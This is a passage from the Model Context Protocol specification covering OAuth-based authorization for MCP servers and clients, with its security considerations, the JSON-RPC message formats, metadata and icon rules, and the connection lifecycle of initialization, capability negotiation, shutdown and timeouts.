steps +described in the [Scope Challenge Handling](#scope-challenge-handling) section. + +## Authorization Flow Steps + +The complete Authorization flow proceeds as follows: + +```mermaid theme={null} +sequenceDiagram + participant B as User-Agent (Browser) + participant C as Client + participant M as MCP Server (Resource Server) + participant A as Authorization Server + + C->>M: MCP request without token + M->>C: HTTP 401 Unauthorized with WWW-Authenticate header + Note over C: Extract resource_metadata URL from WWW-Authenticate + + C->>M: Request Protected Resource Metadata + M->>C: Return metadata + + Note over C: Parse metadata and extract authorization server(s)
Client determines AS to use + + C->>A: GET Authorization server metadata endpoint + Note over C,A: Try OAuth 2.0 and OpenID Connect
discovery endpoints in priority order + A-->>C: Authorization server metadata + + alt Client ID Metadata Documents + Note over C: Client uses HTTPS URL as client_id + Note over A: Server detects URL-formatted client_id + A->>C: Fetch metadata from client_id URL + C-->>A: JSON metadata document + Note over A: Validate metadata and redirect_uris + else Dynamic client registration + C->>A: POST /register + A->>C: Client Credentials + else Pre-registered client + Note over C: Use existing client_id + end + + Note over C: Generate PKCE parameters
Include resource parameter
Apply scope selection strategy + C->>B: Open browser with authorization URL + code_challenge + resource + B->>A: Authorization request with resource parameter + Note over A: User authorizes + A->>B: Redirect to callback with authorization code + B->>C: Authorization code callback + C->>A: Token request + code_verifier + resource + A->>C: Access token (+ refresh token) + C->>M: MCP request with access token + M-->>C: MCP response + Note over C,M: MCP communication continues with valid token +``` + +## Resource Parameter Implementation + +MCP clients **MUST** implement Resource Indicators for OAuth 2.0 as defined in [RFC 8707](https://www.rfc-editor.org/rfc/rfc8707.html) +to explicitly specify the target resource for which the token is being requested. The `resource` parameter: + +1. **MUST** be included in both authorization requests and token requests. +2. **MUST** identify the MCP server that the client intends to use the token with. +3. **MUST** use the canonical URI of the MCP server as defined in [RFC 8707 Section 2](https://www.rfc-editor.org/rfc/rfc8707.html#name-access-token-request). + +### Canonical Server URI + +For the purposes of this specification, the canonical URI of an MCP server is defined as the resource identifier as specified in +[RFC 8707 Section 2](https://www.rfc-editor.org/rfc/rfc8707.html#section-2) and aligns with the `resource` parameter in +[RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728). + +MCP clients **SHOULD** provide the most specific URI that they can for the MCP server they intend to access, following the guidance in [RFC 8707](https://www.rfc-editor.org/rfc/rfc8707). While the canonical form uses lowercase scheme and host components, implementations **SHOULD** accept uppercase scheme and host components for robustness and interoperability. + +Examples of valid canonical URIs: + +* `https://mcp.example.com/mcp` +* `https://mcp.example.com` +* `https://mcp.example.com:8443` +* `https://mcp.example.com/server/mcp` (when path component is necessary to identify individual MCP server) + +Examples of invalid canonical URIs: + +* `mcp.example.com` (missing scheme) +* `https://mcp.example.com#fragment` (contains fragment) + +> **Note:** While both `https://mcp.example.com/` (with trailing slash) and `https://mcp.example.com` (without trailing slash) are technically valid absolute URIs according to [RFC 3986](https://www.rfc-editor.org/rfc/rfc3986), implementations **SHOULD** consistently use the form without the trailing slash for better interoperability unless the trailing slash is semantically significant for the specific resource. + +For example, if accessing an MCP server at `https://mcp.example.com`, the authorization request would include: + +``` +&resource=https%3A%2F%2Fmcp.example.com +``` + +MCP clients **MUST** send this parameter regardless of whether authorization servers support it. + +## Access Token Usage + +### Token Requirements + +Access token handling when making requests to MCP servers **MUST** conform to the requirements defined in +[OAuth 2.1 Section 5 "Resource Requests"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5). +Specifically: + +1. MCP client **MUST** use the Authorization request header field defined in + [OAuth 2.1 Section 5.1.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5.1.1): + +``` +Authorization: Bearer +``` + +Note that authorization **MUST** be included in every HTTP request from client to server, +even if they are part of the same logical session. + +2. Access tokens **MUST NOT** be included in the URI query string + +Example request: + +```http theme={null} +GET /mcp HTTP/1.1 +Host: mcp.example.com +Authorization: Bearer eyJhbGciOiJIUzI1NiIs... +``` + +### Token Handling + +MCP servers, acting in their role as an OAuth 2.1 resource server, **MUST** validate access tokens as described in +[OAuth 2.1 Section 5.2](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5.2). +MCP servers **MUST** validate that access tokens were issued specifically for them as the intended audience, +according to [RFC 8707 Section 2](https://www.rfc-editor.org/rfc/rfc8707.html#section-2). +If validation fails, servers **MUST** respond according to +[OAuth 2.1 Section 5.3](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5.3) +error handling requirements. Invalid or expired tokens **MUST** receive a HTTP 401 +response. + +MCP clients **MUST NOT** send tokens to the MCP server other than ones issued by the MCP server's authorization server. + +MCP servers **MUST** only accept tokens that are valid for use with their +own resources. + +MCP servers **MUST NOT** accept or transit any other tokens. + +## Error Handling + +Servers **MUST** return appropriate HTTP status codes for authorization errors: + +| Status Code | Description | Usage | +| ----------- | ------------ | ------------------------------------------ | +| 401 | Unauthorized | Authorization required or token invalid | +| 403 | Forbidden | Invalid scopes or insufficient permissions | +| 400 | Bad Request | Malformed authorization request | + +### Scope Challenge Handling + +This section covers handling insufficient scope errors during runtime operations when +a client already has a token but needs additional permissions. This follows the error +handling patterns defined in [OAuth 2.1 Section 5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5) +and leverages the metadata fields from [RFC 9728 (OAuth 2.0 Protected Resource Metadata)](https://datatracker.ietf.org/doc/html/rfc9728). + +#### Runtime Insufficient Scope Errors + +When a client makes a request with an access token with insufficient +scope during runtime operations, the server **SHOULD** respond with: + +* `HTTP 403 Forbidden` status code (per [RFC 6750 Section 3.1](https://datatracker.ietf.org/doc/html/rfc6750#section-3.1)) +* `WWW-Authenticate` header with the `Bearer` scheme and additional parameters: + * `error="insufficient_scope"` - indicating the specific type of authorization failure + * `scope="required_scope1 required_scope2"` - specifying the minimum scopes needed for the operation + * `resource_metadata` - the URI of the Protected Resource Metadata document (for consistency with 401 responses) + * `error_description` (optional) - human-readable description of the error + +**Server Scope Management**: When responding with insufficient scope errors, servers +**SHOULD** include the scopes needed to satisfy the current request in the `scope` +parameter. + +Servers have flexibility in determining which scopes to include: + +* **Minimum approach**: Include the newly-required scopes for the specific operation. Include any existing granted scopes as well, if they are required, to prevent clients from losing previously granted permissions. +* **Recommended approach**: Include both existing relevant scopes and newly required scopes to prevent clients from losing previously granted permissions +* **Extended approach**: Include existing scopes, newly required scopes, and related scopes that commonly work together + +The choice depends on the server's assessment of user experience impact and authorization friction. + +Servers **SHOULD** be consistent in their scope inclusion strategy to provide predictable behavior for clients. + +Servers **SHOULD** consider the user experience impact when determining which scopes to include in the +response, as misconfigured scopes may require frequent user interaction. + +Example insufficient scope response: + +```http theme={null} +HTTP/1.1 403 Forbidden +WWW-Authenticate: Bearer error="insufficient_scope", + scope="files:read files:write user:profile", + resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource", + error_description="Additional file write permission required" +``` + +#### Step-Up Authorization Flow + +Clients will receive scope-related errors during initial authorization or at runtime (`insufficient_scope`). +Clients **SHOULD** respond to these errors by requesting a new access token with an increased set of scopes via a step-up authorization flow or handle the errors in other, appropriate ways. +Clients acting on behalf of a user **SHOULD** attempt the step-up authorization flow. Clients acting on their own behalf (`client_credentials` clients) +**MAY** attempt the step-up authorization flow or abort the request immediately. + +The flow is as follows: + +1. **Parse error information** from the authorization server response or `WWW-Authenticate` header +2. **Determine required scopes** as outlined in [Scope Selection Strategy](#scope-selection-strategy). +3. **Initiate (re-)authorization** with the determined scope set +4. **Retry the original request** with the new authorization no more than a few times and treat this as a permanent authorization failure + +Clients **SHOULD** implement retry limits and **SHOULD** track scope upgrade attempts to avoid +repeated failures for the same resource and operation combination. + +## Security Considerations + +Implementations **MUST** follow OAuth 2.1 security best practices as laid out in [OAuth 2.1 Section 7. "Security Considerations"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#name-security-considerations). + +### Token Audience Binding and Validation + +[RFC 8707](https://www.rfc-editor.org/rfc/rfc8707.html) Resource Indicators provide critical security benefits by binding tokens to their intended +audiences **when the Authorization Server supports the capability**. To enable current and future adoption: + +* MCP clients **MUST** include the `resource` parameter in authorization and token requests as specified in the [Resource Parameter Implementation](#resource-parameter-implementation) section +* MCP servers **MUST** validate that tokens presented to them were specifically issued for their use + +The [Security Best Practices document](/specification/2025-11-25/basic/security_best_practices#token-passthrough) +outlines why token audience validation is crucial and why token passthrough is explicitly forbidden. + +### Token Theft + +Attackers who obtain tokens stored by the client, or tokens cached or logged on the server can access protected resources with +requests that appear legitimate to resource servers. + +Clients and servers **MUST** implement secure token storage and follow OAuth best practices, +as outlined in [OAuth 2.1, Section 7.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-7.1). + +Authorization servers **SHOULD** issue short-lived access tokens to reduce the impact of leaked tokens. +For public clients, authorization servers **MUST** rotate refresh tokens as described in [OAuth 2.1 Section 4.3.1 "Token Endpoint Extension"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-4.3.1). + +### Communication Security + +Implementations **MUST** follow [OAuth 2.1 Section 1.5 "Communication Security"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-1.5). + +Specifically: + +1. All authorization server endpoints **MUST** be served over HTTPS. +2. All redirect URIs **MUST** be either `localhost` or use HTTPS. + +### Authorization Code Protection + +An attacker who has gained access to an authorization code contained in an authorization response can try to redeem the authorization code for an access token or otherwise make use of the authorization code. +(Further described in [OAuth 2.1 Section 7.5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-7.5)) + +To mitigate this, MCP clients **MUST** implement PKCE according to [OAuth 2.1 Section 7.5.2](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-7.5.2) and **MUST** verify PKCE support before proceeding with authorization. +PKCE helps prevent authorization code interception and injection attacks by requiring clients to create a secret verifier-challenge pair, ensuring that only the original requestor can exchange an authorization code for tokens. + +MCP clients **MUST** use the `S256` code challenge method when technically capable, as required by [OAuth 2.1 Section 4.1.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-4.1.1). + +Since OAuth 2.1 and PKCE specifications do not define a mechanism for clients to discover PKCE support, MCP clients **MUST** rely on authorization server metadata to verify this capability: + +* **OAuth 2.0 Authorization Server Metadata**: If `code_challenge_methods_supported` is absent, the authorization server does not support PKCE and MCP clients **MUST** refuse to proceed. + +* **OpenID Connect Discovery 1.0**: While the [OpenID Provider Metadata](https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderMetadata) does not define `code_challenge_methods_supported`, this field is commonly included by OpenID providers. MCP clients **MUST** verify the presence of `code_challenge_methods_supported` in the provider metadata response. If the field is absent, MCP clients **MUST** refuse to proceed. + +Authorization servers providing OpenID Connect Discovery 1.0 **MUST** include `code_challenge_methods_supported` in their metadata to ensure MCP compatibility. + +### Open Redirection + +An attacker may craft malicious redirect URIs to direct users to phishing sites. + +MCP clients **MUST** have redirect URIs registered with the authorization server. + +Authorization servers **MUST** validate exact redirect URIs against pre-registered values to prevent redirection attacks. + +MCP clients **SHOULD** use and verify state parameters in the authorization code flow +and discard any results that do not include or have a mismatch with the original state. + +Authorization servers **MUST** take precautions to prevent redirecting user agents to untrusted URI's, following suggestions laid out in [OAuth 2.1 Section 7.12.2](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-7.12.2) + +Authorization servers **SHOULD** only automatically redirect the user agent if it trusts the redirection URI. If the URI is not trusted, the authorization server MAY inform the user and rely on the user to make the correct decision. + +### Client ID Metadata Document Security + +When implementing Client ID Metadata Documents, authorization servers **MUST** consider the security implications +detailed in [OAuth Client ID Metadata Document, Section 6](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00#name-security-considerations). +Key considerations include: + +#### Authorization Server Abuse Protection + +The authorization server takes a URL as input from an unknown client and fetches that URL. +A malicious client could use this to trigger the authorization server to make requests to arbitrary URLs, +such as requests to private administration endpoints the authorization server has access to. + +Authorization servers fetching metadata documents **SHOULD** consider +[Server-Side Request Forgery (SSRF)](https://developer.mozilla.org/docs/Web/Security/Attacks/SSRF) risks, as described in [OAuth Client ID Metadata Document: Server Side Request Forgery (SSRF) Attacks](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00#name-server-side-request-forgery). + +#### Localhost Redirect URI Risks + +Client ID Metadata Documents cannot prevent `localhost` URL impersonation by themselves. An attacker can claim to be any client by: + +1. Providing the legitimate client's metadata URL as their `client_id` +2. Binding to the any `localhost` port, and providing that address as the redirect\_uri +3. Receiving the authorization code via the redirect when the user approves + +The server will see the legitimate client's metadata document and the user will see the legitimate client's name, making attack detection difficult. + +Authorization servers: + +* **SHOULD** display additional warnings for `localhost`-only redirect URIs +* **MAY** require additional attestation mechanisms for enhanced security +* **MUST** clearly display the redirect URI hostname during authorization + +#### Trust Policies + +Authorization servers **MAY** implement domain-based trust policies: + +* Allowlists for trusted domains (for protected servers) +* Accept any HTTPS `client_id` (for open servers) +* Reputation checks for unknown domains +* Restrictions based on domain age or certificate validation +* Display the CIMD and other associated client hostnames prominently to prevent phishing + +Servers maintain full control over their access policies. + +### Confused Deputy Problem + +Attackers can exploit MCP servers acting as intermediaries to third-party APIs, leading to [confused deputy vulnerabilities](/specification/2025-11-25/basic/security_best_practices#confused-deputy-problem). +By using stolen authorization codes, they can obtain access tokens without user consent. + +MCP proxy servers using static client IDs **MUST** obtain user consent for each dynamically +registered client before forwarding to third-party authorization servers (which may require additional consent). + +### Access Token Privilege Restriction + +An attacker can gain unauthorized access or otherwise compromise an MCP server if the server accepts tokens issued for other resources. + +This vulnerability has two critical dimensions: + +1. **Audience validation failures.** When an MCP server doesn't verify that tokens were specifically intended for it (for example, via the audience claim, as mentioned in [RFC9068](https://www.rfc-editor.org/rfc/rfc9068.html)), it may accept tokens originally issued for other services. This breaks a fundamental OAuth security boundary, allowing attackers to reuse legitimate tokens across different services than intended. +2. **Token passthrough.** If the MCP server not only accepts tokens with incorrect audiences but also forwards these unmodified tokens to downstream services, it can potentially cause the ["confused deputy" problem](#confused-deputy-problem), where the downstream API may incorrectly trust the token as if it came from the MCP server or assume the token was validated by the upstream API. See the [Token Passthrough section](/specification/2025-11-25/basic/security_best_practices#token-passthrough) of the Security Best Practices guide for additional details. + +MCP servers **MUST** validate access tokens before processing the request, ensuring the access token is issued specifically for the MCP server, and take all necessary steps to ensure no data is returned to unauthorized parties. + +A MCP server **MUST** follow the guidelines in [OAuth 2.1 - Section 5.2](https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-13.html#section-5.2) to validate inbound tokens. + +MCP servers **MUST** only accept tokens specifically intended for themselves and **MUST** reject tokens that do not include them in the audience claim or otherwise verify that they are the intended recipient of the token. See the [Security Best Practices Token Passthrough section](/specification/2025-11-25/basic/security_best_practices#token-passthrough) for details. + +If the MCP server makes requests to upstream APIs, it may act as an OAuth client to them. The access token used at the upstream API is a separate token, issued by the upstream authorization server. The MCP server **MUST NOT** pass through the token it received from the MCP client. + +MCP clients **MUST** implement and use the `resource` parameter as defined in [RFC 8707 - Resource Indicators for OAuth 2.0](https://www.rfc-editor.org/rfc/rfc8707.html) +to explicitly specify the target resource for which the token is being requested. This requirement aligns with the recommendation in +[RFC 9728 Section 7.4](https://datatracker.ietf.org/doc/html/rfc9728#section-7.4). This ensures that access tokens are bound to their intended resources and +cannot be misused across different services. + +## MCP Authorization Extensions + +There are several authorization extensions to the core protocol that define additional authorization mechanisms. These extensions are: + +* **Optional** - Implementations can choose to adopt these extensions +* **Additive** - Extensions do not modify or break core protocol functionality; they add new capabilities while preserving core protocol behavior +* **Composable** - Extensions are modular and designed to work together without conflicts, allowing implementations to adopt multiple extensions simultaneously +* **Versioned independently** - Extensions follow the core MCP versioning cycle but may adopt independent versioning as needed + +A list of supported extensions can be found in the [MCP Authorization Extensions](https://github.com/modelcontextprotocol/ext-auth) repository. + + +# Overview +Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/index + + + +
+ +The Model Context Protocol consists of several key components that work together: + +* **Base Protocol**: Core JSON-RPC message types +* **Lifecycle Management**: Connection initialization, capability negotiation, and + session control +* **Authorization**: Authentication and authorization framework for HTTP-based transports +* **Server Features**: Resources, prompts, and tools exposed by servers +* **Client Features**: Sampling and root directory lists provided by clients +* **Utilities**: Cross-cutting concerns like logging and argument completion + +All implementations **MUST** support the base protocol and lifecycle management +components. Other components **MAY** be implemented based on the specific needs of the +application. + +These protocol layers establish clear separation of concerns while enabling rich +interactions between clients and servers. The modular design allows implementations to +support exactly the features they need. + +## Messages + +All messages between MCP clients and servers **MUST** follow the +[JSON-RPC 2.0](https://www.jsonrpc.org/specification) specification. The protocol defines +these types of messages: + +### Requests + +[Requests](/specification/2025-11-25/schema#jsonrpcrequest) are sent from the client to the server or vice versa, to initiate an operation. + +```typescript theme={null} +{ + jsonrpc: "2.0"; + id: string | number; + method: string; + params?: { + [key: string]: unknown; + }; +} +``` + +* Requests **MUST** include a string or integer ID. +* Unlike base JSON-RPC, the ID **MUST NOT** be `null`. +* The request ID **MUST NOT** have been previously used by the requestor within the same + session. + +### Responses + +Responses are sent in reply to requests, containing either the result or error of the operation. + +#### Result Responses + +[Result responses](/specification/2025-11-25/schema#jsonrpcresultresponse) are sent when the operation completes successfully. + +```typescript theme={null} +{ + jsonrpc: "2.0"; + id: string | number; + result: { + [key: string]: unknown; + } +} +``` + +* Result responses **MUST** include the same ID as the request they correspond to. +* Result responses **MUST** include a `result` field. +* The `result` **MAY** follow any JSON object structure. + +#### Error Responses + +[Error responses](/specification/2025-11-25/schema#jsonrpcerrorresponse) are sent when the operation fails or encounters an error. + +```typescript theme={null} +{ + jsonrpc: "2.0"; + id?: string | number; + error: { + code: number; + message: string; + data?: unknown; + } +} +``` + +* Error responses **MUST** include the same ID as the request they correspond to (except in error cases where the ID could not be read due a malformed request). +* Error responses **MUST** include an `error` field with a `code` and `message`. +* Error codes **MUST** be integers. + +### Notifications + +[Notifications](/specification/2025-11-25/schema#jsonrpcnotification) are sent from the client to the server or vice versa, as a one-way message. +The receiver **MUST NOT** send a response. + +```typescript theme={null} +{ + jsonrpc: "2.0"; + method: string; + params?: { + [key: string]: unknown; + }; +} +``` + +* Notifications **MUST NOT** include an ID. + +## Auth + +MCP provides an [Authorization](/specification/2025-11-25/basic/authorization) framework for use with HTTP. +Implementations using an HTTP-based transport **SHOULD** conform to this specification, +whereas implementations using STDIO transport **SHOULD NOT** follow this specification, +and instead retrieve credentials from the environment. + +Additionally, clients and servers **MAY** negotiate their own custom authentication and +authorization strategies. + +For further discussions and contributions to the evolution of MCP's auth mechanisms, join +us in +[GitHub Discussions](https://github.com/modelcontextprotocol/specification/discussions) +to help shape the future of the protocol! + +## Schema + +The full specification of the protocol is defined as a +[TypeScript schema](https://github.com/modelcontextprotocol/specification/blob/main/schema/2025-11-25/schema.ts). +This is the source of truth for all protocol messages and structures. + +There is also a +[JSON Schema](https://github.com/modelcontextprotocol/specification/blob/main/schema/2025-11-25/schema.json), +which is automatically generated from the TypeScript source of truth, for use with +various automated tooling. + +## JSON Schema Usage + +The Model Context Protocol uses JSON Schema for validation throughout the protocol. This section clarifies how JSON Schema should be used within MCP messages. + +### Schema Dialect + +MCP supports JSON Schema with the following rules: + +1. **Default dialect**: When a schema does not include a `$schema` field, it defaults to [JSON Schema 2020-12](https://json-schema.org/draft/2020-12/schema) +2. **Explicit dialect**: Schemas MAY include a `$schema` field to specify a different dialect +3. **Supported dialects**: Implementations MUST support at least 2020-12 and SHOULD document which additional dialects they support +4. **Recommendation**: Implementors are RECOMMENDED to use JSON Schema 2020-12. + +### Example Usage + +#### Default dialect (2020-12): + +```json theme={null} +{ + "type": "object", + "properties": { + "name": { "type": "string" }, + "age": { "type": "integer", "minimum": 0 } + }, + "required": ["name"] +} +``` + +#### Explicit dialect (draft-07): + +```json theme={null} +{ + "$schema": "http://json-schema.org/draft-07/schema#", + "type": "object", + "properties": { + "name": { "type": "string" }, + "age": { "type": "integer", "minimum": 0 } + }, + "required": ["name"] +} +``` + +### Implementation Requirements + +* Clients and servers **MUST** support JSON Schema 2020-12 for schemas without an explicit `$schema` field +* Clients and servers **MUST** validate schemas according to their declared or default dialect. They **MUST** handle unsupported dialects gracefully by returning an appropriate error indicating the dialect is not supported. +* Clients and servers **SHOULD** document which schema dialects they support + +### Schema Validation + +* Schemas **MUST** be valid according to their declared or default dialect + +## General fields + +### `_meta` + +The `_meta` property/parameter is reserved by MCP to allow clients and servers +to attach additional metadata to their interactions. + +Certain key names are reserved by MCP for protocol-level metadata, as specified below; +implementations MUST NOT make assumptions about values at these keys. + +Additionally, definitions in the [schema](https://github.com/modelcontextprotocol/specification/blob/main/schema/2025-11-25/schema.ts) +may reserve particular names for purpose-specific metadata, as declared in those definitions. + +**Key name format:** valid `_meta` key names have two segments: an optional **prefix**, and a **name**. + +**Prefix:** + +* If specified, MUST be a series of labels separated by dots (`.`), followed by a slash (`/`). + * Labels MUST start with a letter and end with a letter or digit; interior characters can be letters, digits, or hyphens (`-`). + * Implementations SHOULD use reverse DNS notation (e.g., `com.example/` rather than `example.com/`). +* Any prefix where the second label is `modelcontextprotocol` or `mcp` is **reserved** for MCP use. + * For example: `io.modelcontextprotocol/`, `dev.mcp/`, `org.modelcontextprotocol.api/`, and `com.mcp.tools/` are all reserved. + * However, `com.example.mcp/` is NOT reserved, as the second label is `example`. + +**Name:** + +* Unless empty, MUST begin and end with an alphanumeric character (`[a-z0-9A-Z]`). +* MAY contain hyphens (`-`), underscores (`_`), dots (`.`), and alphanumerics in between. + +### `icons` + +The `icons` property provides a standardized way for servers to expose visual identifiers for their resources, tools, prompts, and implementations. Icons enhance user interfaces by providing visual context and improving the discoverability of available functionality. + +Icons are represented as an array of `Icon` objects, where each icon includes: + +* `src`: A URI pointing to the icon resource (required). This can be: + * An HTTP/HTTPS URL pointing to an image file + * A data URI with base64-encoded image data +* `mimeType`: Optional MIME type if the server's type is missing or generic +* `sizes`: Optional array of size specifications (e.g., `["48x48"]`, `["any"]` for scalable formats like SVG, or `["48x48", "96x96"]` for multiple sizes) +* `theme`: Optional theme preference (`light` or `dark`) for the icon background + +**Required MIME type support:** + +Clients that support rendering icons **MUST** support at least the following MIME types: + +* `image/png` - PNG images (safe, universal compatibility) +* `image/jpeg` (and `image/jpg`) - JPEG images (safe, universal compatibility) + +Clients that support rendering icons **SHOULD** also support: + +* `image/svg+xml` - SVG images (scalable but requires security precautions as noted below) +* `image/webp` - WebP images (modern, efficient format) + +**Security considerations:** + +Consumers of icon metadata **MUST** take appropriate security precautions when handling icons to prevent compromise: + +* Treat icon metadata and icon bytes as untrusted inputs and defend against network, privacy, and parsing risks. +* Ensure that the icon URI is either a HTTPS or `data:` URI. Clients **MUST** reject icon URIs that use unsafe schemes and redirects, such as `javascript:`, `file:`, `ftp:`, `ws:`, or local app URI schemes. + * Disallow scheme changes and redirects to hosts on different origins. +* Be resilient against resource exhaustion attacks stemming from oversized images, large dimensions, or excessive frames (e.g., in GIFs). + * Consumers **MAY** set limits for image and content size. +* Fetch icons without credentials. Do not send cookies, `Authorization` headers, or client credentials. +* Verify that icon URIs are from the same origin as the server. This minimizes the risk of exposing data or tracking information to third-parties. +* Exercise caution when fetching and rendering icons as the payload **MAY** contain executable content (e.g., SVG with [embedded JavaScript](https://www.w3.org/TR/SVG11/script.html) or [extended capabilities](https://www.w3.org/TR/SVG11/extend.html)). + * Consumers **MAY** choose to disallow specific file types or otherwise sanitize icon files before rendering. +* Validate MIME types and file contents before rendering. Treat the MIME type information as advisory. Detect content type via magic bytes; reject on mismatch or unknown types. + * Maintain a strict allowlist of image types. + +**Usage:** + +Icons can be attached to: + +* `Implementation`: Visual identifier for the MCP server/client implementation +* `Tool`: Visual representation of the tool's functionality +* `Prompt`: Icon to display alongside prompt templates +* `Resource`: Visual indicator for different resource types + +Multiple icons can be provided to support different display contexts and resolutions. Clients should select the most appropriate icon based on their UI requirements. + + +# Lifecycle +Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/lifecycle + + + +
+ +The Model Context Protocol (MCP) defines a rigorous lifecycle for client-server +connections that ensures proper capability negotiation and state management. + +1. **Initialization**: Capability negotiation and protocol version agreement +2. **Operation**: Normal protocol communication +3. **Shutdown**: Graceful termination of the connection + +```mermaid theme={null} +sequenceDiagram + participant Client + participant Server + + Note over Client,Server: Initialization Phase + activate Client + Client->>+Server: initialize request + Server-->>Client: initialize response + Client--)Server: initialized notification + + Note over Client,Server: Operation Phase + rect rgb(200, 220, 250) + note over Client,Server: Normal protocol operations + end + + Note over Client,Server: Shutdown + Client--)-Server: Disconnect + deactivate Server + Note over Client,Server: Connection closed +``` + +## Lifecycle Phases + +### Initialization + +The initialization phase **MUST** be the first interaction between client and server. +During this phase, the client and server: + +* Establish protocol version compatibility +* Exchange and negotiate capabilities +* Share implementation details + +The client **MUST** initiate this phase by sending an `initialize` request containing: + +* Protocol version supported +* Client capabilities +* Client implementation information + +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "method": "initialize", + "params": { + "protocolVersion": "2025-11-25", + "capabilities": { + "roots": { + "listChanged": true + }, + "sampling": {}, + "elicitation": { + "form": {}, + "url": {} + }, + "tasks": { + "requests": { + "elicitation": { + "create": {} + }, + "sampling": { + "createMessage": {} + } + } + } + }, + "clientInfo": { + "name": "ExampleClient", + "title": "Example Client Display Name", + "version": "1.0.0", + "description": "An example MCP client application", + "icons": [ + { + "src": "https://example.com/icon.png", + "mimeType": "image/png", + "sizes": ["48x48"] + } + ], + "websiteUrl": "https://example.com" + } + } +} +``` + +The server **MUST** respond with its own capabilities and information: + +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "result": { + "protocolVersion": "2025-11-25", + "capabilities": { + "logging": {}, + "prompts": { + "listChanged": true + }, + "resources": { + "subscribe": true, + "listChanged": true + }, + "tools": { + "listChanged": true + }, + "tasks": { + "list": {}, + "cancel": {}, + "requests": { + "tools": { + "call": {} + } + } + } + }, + "serverInfo": { + "name": "ExampleServer", + "title": "Example Server Display Name", + "version": "1.0.0", + "description": "An example MCP server providing tools and resources", + "icons": [ + { + "src": "https://example.com/server-icon.svg", + "mimeType": "image/svg+xml", + "sizes": ["any"] + } + ], + "websiteUrl": "https://example.com/server" + }, + "instructions": "Optional instructions for the client" + } +} +``` + +After successful initialization, the client **MUST** send an `initialized` notification +to indicate it is ready to begin normal operations: + +```json theme={null} +{ + "jsonrpc": "2.0", + "method": "notifications/initialized" +} +``` + +* The client **SHOULD NOT** send requests other than + [pings](/specification/2025-11-25/basic/utilities/ping) before the server has responded to the + `initialize` request. +* The server **SHOULD NOT** send requests other than + [pings](/specification/2025-11-25/basic/utilities/ping) and + [logging](/specification/2025-11-25/server/utilities/logging) before receiving the `initialized` + notification. + +#### Version Negotiation + +In the `initialize` request, the client **MUST** send a protocol version it supports. +This **SHOULD** be the *latest* version supported by the client. + +If the server supports the requested protocol version, it **MUST** respond with the same +version. Otherwise, the server **MUST** respond with another protocol version it +supports. This **SHOULD** be the *latest* version supported by the server. + +If the client does not support the version in the server's response, it **SHOULD** +disconnect. + + + If using HTTP, the client **MUST** include the `MCP-Protocol-Version: ` HTTP header on all subsequent requests to the MCP + server. + For details, see [the Protocol Version Header section in Transports](/specification/2025-11-25/basic/transports#protocol-version-header). + + +#### Capability Negotiation + +Client and server capabilities establish which optional protocol features will be +available during the session. + +Key capabilities include: + +| Category | Capability | Description | +| -------- | -------------- | --------------------------------------------------------------------------------------------- | +| Client | `roots` | Ability to provide filesystem [roots](/specification/2025-11-25/client/roots) | +| Client | `sampling` | Support for LLM [sampling](/specification/2025-11-25/client/sampling) requests | +| Client | `elicitation` | Support for server [elicitation](/specification/2025-11-25/client/elicitation) requests | +| Client | `tasks` | Support for [task-augmented](/specification/2025-11-25/basic/utilities/tasks) client requests | +| Client | `experimental` | Describes support for non-standard experimental features | +| Server | `prompts` | Offers [prompt templates](/specification/2025-11-25/server/prompts) | +| Server | `resources` | Provides readable [resources](/specification/2025-11-25/server/resources) | +| Server | `tools` | Exposes callable [tools](/specification/2025-11-25/server/tools) | +| Server | `logging` | Emits structured [log messages](/specification/2025-11-25/server/utilities/logging) | +| Server | `completions` | Supports argument [autocompletion](/specification/2025-11-25/server/utilities/completion) | +| Server | `tasks` | Support for [task-augmented](/specification/2025-11-25/basic/utilities/tasks) server requests | +| Server | `experimental` | Describes support for non-standard experimental features | + +Capability objects can describe sub-capabilities like: + +* `listChanged`: Support for list change notifications (for prompts, resources, and + tools) +* `subscribe`: Support for subscribing to individual items' changes (resources only) + +### Operation + +During the operation phase, the client and server exchange messages according to the +negotiated capabilities. + +Both parties **MUST**: + +* Respect the negotiated protocol version +* Only use capabilities that were successfully negotiated + +### Shutdown + +During the shutdown phase, one side (usually the client) cleanly terminates the protocol +connection. No specific shutdown messages are defined—instead, the underlying transport +mechanism should be used to signal connection termination: + +#### stdio + +For the stdio [transport](/specification/2025-11-25/basic/transports), the client **SHOULD** initiate +shutdown by: + +1. First, closing the input stream to the child process (the server) +2. Waiting for the server to exit, or sending `SIGTERM` if the server does not exit + within a reasonable time +3. Sending `SIGKILL` if the server does not exit within a reasonable time after `SIGTERM` + +The server **MAY** initiate shutdown by closing its output stream to the client and +exiting. + +#### HTTP + +For HTTP [transports](/specification/2025-11-25/basic/transports), shutdown is indicated by closing the +associated HTTP connection(s). + +## Timeouts + +Implementations **SHOULD** establish timeouts for all sent requests, to prevent hung +connections and resource exhaustion. When the request has not received a success or error +response within the timeout period, the sender **SHOULD** issue a [cancellation +notification](/specification/2025-11-25/basic/utilities/cancellation) for that request and stop waiting for +a response. + +SDKs and other middleware **SHOULD** allow these timeouts to be configured on 